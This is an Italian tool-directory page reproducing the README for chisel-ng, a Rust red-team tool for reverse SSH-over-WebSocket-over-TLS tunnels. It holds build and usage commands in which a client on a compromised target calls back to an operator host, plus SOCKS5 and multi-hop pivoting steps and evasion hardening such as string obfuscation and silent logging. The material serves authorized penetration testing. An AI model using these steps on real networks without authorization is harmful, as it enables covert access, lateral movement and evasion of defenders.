Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
chisel-ng — Chisel nuova generazione, scritto in rust. SSH su WSS con alcune personalizzazioni. | Kitploit
Strumenti/GitHubGitHub/nullsection/chisel-ng
Evasione IDS/IPSMovimento LateralePost-ExploitSicurezza di RetePenetration TestingCommand and ControlRed TeamingStrumento di Accesso Remoto
GitHubnullsection/chisel-ng

chisel-ng

Chisel nuova generazione, scritto in rust. SSH su WSS con alcune personalizzazioni.

Vedi Repository
136967 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
root@kitploit:~
       _     _          _
   ___| |__ (_)___  ___| |      _ __   __ _
  / __| '_ \| / __|/ _ \ |_____| '_ \ / _` |
 | (__| | | | \__ \  __/ |_____| | | | (_| |
  \___|_| |_|_|___/\___|_|     |_| |_|\__, |
                                      |___/

chisel-ng

Rust License Windows Linux

Un'implementazione in Rust di chisel per test di penetrazione e operazioni red team. Stabilisce tunnel inversi su SSH-over-WebSocket-over-TLS, consentendo agli operatori di pivotare attraverso host compromessi mimetizzandosi con il normale traffico HTTPS.


Indice

  • Avvio rapido
  • Funzionalità
  • Architettura
  • Riferimento d'uso
    • Server (operatore)
Client inverso (agente)
  • Client bind (agente - modo inbound)
  • Comandi CLI del server
  • Pivot multi-hop
  • Dettagli tecnici
  • Considerazioni OPSEC
  • Disclaimer

  • Avvio rapido

    Requisiti

    • Rust 1.70+ (rustup.rs)

    Compilazione

    root@kitploit:~
    git clone https://github.com/nullsection/chisel-ng
    cd chisel-ng
    cargo build --release
    

    I binari vengono generati in target/release/: chisel-server, chisel-client, chisel-bind-client

    Utilizzo base

    1. Avvia il server (operatore):

    root@kitploit:~
    ./chisel-server -p 'secret' -v
    

    2. Esegui il client (target):

    root@kitploit:~
    ./chisel-client -s operator.example.com:8443 -p 'secret' -k
    

    3. Crea tunnel:

    root@kitploit:~
    chisel-ng> session 1
    [session-1] TARGET > tunnel 8080:192.168.1.100:80
    [session-1] TARGET > socks5 1080
    

    4. Accedi ai servizi interni:

    root@kitploit:~
    curl http://127.0.0.1:8080
    curl --socks5 127.0.0.1:1080 http://internal.corp/
    

    Funzionalità

    • SSH su WebSocket su TLS – Si mimetizza con il normale traffico HTTPS
    • Autenticazione con chiave precondivisa – Semplice, sicura
    • Inoltro dinamico delle porte – Crea tunnel su richiesta
    • Proxy SOCKS5 – Instradamento dinamico attraverso gli agenti
    • Due modalità client – Inversa (si connette in uscita) e bind (accetta connessioni in entrata)
    • Multi‑piattaforma – Windows e Linux

    Architettura

    root@kitploit:~
    +------------------+              +----------------------------------+
    |    Operatore     |              |        Rete target               |
    |                  |              |                                  |
    | +--------------+ |     SSH      | +--------------+                 |
    | |chisel-server |<---------------+-|chisel-client |                 |
    | |    :8443     | |   (su TLS)   | |  (inverso)   |                 |
    | +--------------+ |              | +--------------+                 |
    +------------------+              +----------------------------------+
    

    Stack di protocollo:

    root@kitploit:~
    TCP -> TLS 1.3 -> WebSocket -> SSH -> Dati del tunnel
                         ^
                appare come HTTPS
    

    Modalità client:

    • Inversa (chisel-client) – Si connette in uscita verso il server
    • Bind (chisel-bind-client) – Ascolta connessioni in entrata; il server usa il comando connect

    Riferimento d'uso

    Server (operatore)
    root@kitploit:~
    OPZIONI:
        -l, --listen <ADDR>      Indirizzo di ascolto [default: 0.0.0.0:8443]
        -p, --psk <PSK>          Chiave precondivisa o passphrase [env: CHISEL_PSK]
            --cert <FILE>        Certificato TLS (PEM)
            --key <FILE>         Chiave privata TLS (PEM)
            --generate-psk       Genera un PSK casuale ed esce
        -v, --verbose            Output verboso
    
    Client inverso (agente)
    root@kitploit:~
    OPZIONI:
        -s, --server <ADDR>      Indirizzo del server (host:porta)
        -p, --psk <PSK>          Chiave precondivisa o passphrase [env: CHISEL_PSK]
        -u, --user <LABEL>       Etichetta della sessione [default: agent]
        -k, --insecure           Salta la verifica TLS
            --no-reconnect       Disabilita la riconnessione automatica
        -i, --interval <SECS>    Intervallo di riconnessione [default: 30]
            --heartbeat <SECS>   Intervallo heartbeat [default: 30]
        -v, --verbose            Output verboso
    
    Client bind (agente - modo inbound)

    Per target che possono accettare connessioni in entrata ma non avviare connessioni in uscita:

    root@kitploit:~
    OPZIONI:
        -l, --listen <ADDR>      Indirizzo di ascolto (es. 0.0.0.0:9000)
        -p, --psk <PSK>          Chiave precondivisa o passphrase [env: CHISEL_PSK]
        -u, --user <LABEL>       Etichetta della sessione [default: agent]
        -k, --insecure           Salta la verifica TLS
            --heartbeat <SECS>   Intervallo heartbeat [default: 30]
        -v, --verbose            Output verboso
    
    Comandi CLI del server

    Menu principale:

    root@kitploit:~
    sessions             Elenca le sessioni connesse
    session <id>         Seleziona una sessione
    connect <ip:port>    Connetti a un client bind
    disconnect <id>      Disconnetti la sessione (si riconnetterà)
    kill <id>            Termina il processo client
    

    Menu sessione:

    root@kitploit:~
    tunnel <locale>:<ip_target>:<porta_target>    Crea un tunnel
    tunnel --local <locale>:<target>:<porta>      Crea un tunnel (solo localhost)
    tunnel stop <porta>                           Arresta il tunnel
    tunnels                                        Elenca i tunnel
    socks5 <porta>                                Avvia il proxy SOCKS5
    socks5 stop <porta>                           Arresta il proxy SOCKS5
    ping                                           Misura la latenza
    ps                                             Elenca i processi remoti
    netstat                                        Elenca le connessioni remote
    

    Pivot multi-hop

    Raggiungi reti isolate concatenando sessioni esistenti.

    Scenario: L'host nella DMZ può raggiungere l'operatore. L'host interno (10.0.0.50) può essere raggiunto solo dalla DMZ.

    root@kitploit:~
    +----------+        +-----------+        +------------+
    | Operatore|--SSH---| Sessione 1|--TCP---| Sessione 2 |
    | Server   |        |   (DMZ)   |        | (INTERNO)  |
    +----------+        +-----------+        +------------+
    

    Passo 1 - Avvia il server (operatore):

    root@kitploit:~
    ./chisel-server -p 'secret' -v
    

    Passo 2 - Esegui il client inverso (host DMZ):

    root@kitploit:~
    ./chisel-client -s operator.example.com:8443 -p 'secret' -k
    

    Passo 3 - Esegui il client bind (host interno a 10.0.0.50):

    root@kitploit:~
    ./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
    

    Passo 4 - Crea un tunnel e connetti (CLI del server):

    root@kitploit:~
    chisel-ng> session 1
    [session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
    Tunnel avviato su 127.0.0.1:9000
    
    [session-1] DMZ > back
    chisel-ng> connect 127.0.0.1:9000
    Sessione 2 registrata
    
    chisel-ng> session 2
    [session-2] INTERNO > socks5 1080
    

    Dettagli tecnici

    Come funzionano i tunnel

    Quando si crea un tunnel (tunnel 8080:192.168.1.100:80):

    1. Il server si lega alla porta locale 8080
    2. Alla connessione, il server invia una richiesta CONNECT all'agente
    3. L'agente si connette al target e apre un canale SSH direct-tcpip
    4. I dati vengono instradati in modo bidirezionale
    Come funziona SOCKS5

    Destinazioni dinamiche tramite handshake RFC 1928. Restituisce codici di errore appropriati per risultati accurati di scansione delle porte.


    Considerazioni OPSEC

    Indurimento del binario

    Le build di rilascio sono indurite:

    • Funzionamento silenzioso – Tutti i log vengono compilati come no‑op
    • Offuscamento delle stringhe – Le stringhe di protocollo sono XOR‑cifrate in fase di compilazione
    • Rimozione dei simboli – Nessun simbolo di debug o percorso sorgente
    • Ottimizzazione delle dimensioni – ~3 MB contro ~15 MB debug
    • Comportamento in caso di panic – Arresto immediato, nessuna traccia dello stack
    Sicurezza operativa
    • Autenticazione PSK – Chiave a 256 bit derivata da passphrase (SHA-256) o hex grezzo
    • Nessun salvataggio delle credenziali – PSK solo tramite argomento o variabile d'ambiente
    • Riconnessione automatica – Abilitata per default, intervallo configurabile
    • Heartbeat – Keepalive configurabile, disabilita con --heartbeat 0
    Vettori di rilevamento
    • JA3/JA4 TLS fingerprinting
    • Pattern di upgrade WebSocket
    • Durata della connessione prolungata
    • Intervalli heartbeat costanti

    Disclaimer

    Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. Ottenere la dovuta autorizzazione prima dell'uso. Gli autori non sono responsabili per un uso improprio.


    Licenza

    MIT

    Scarica lo strumento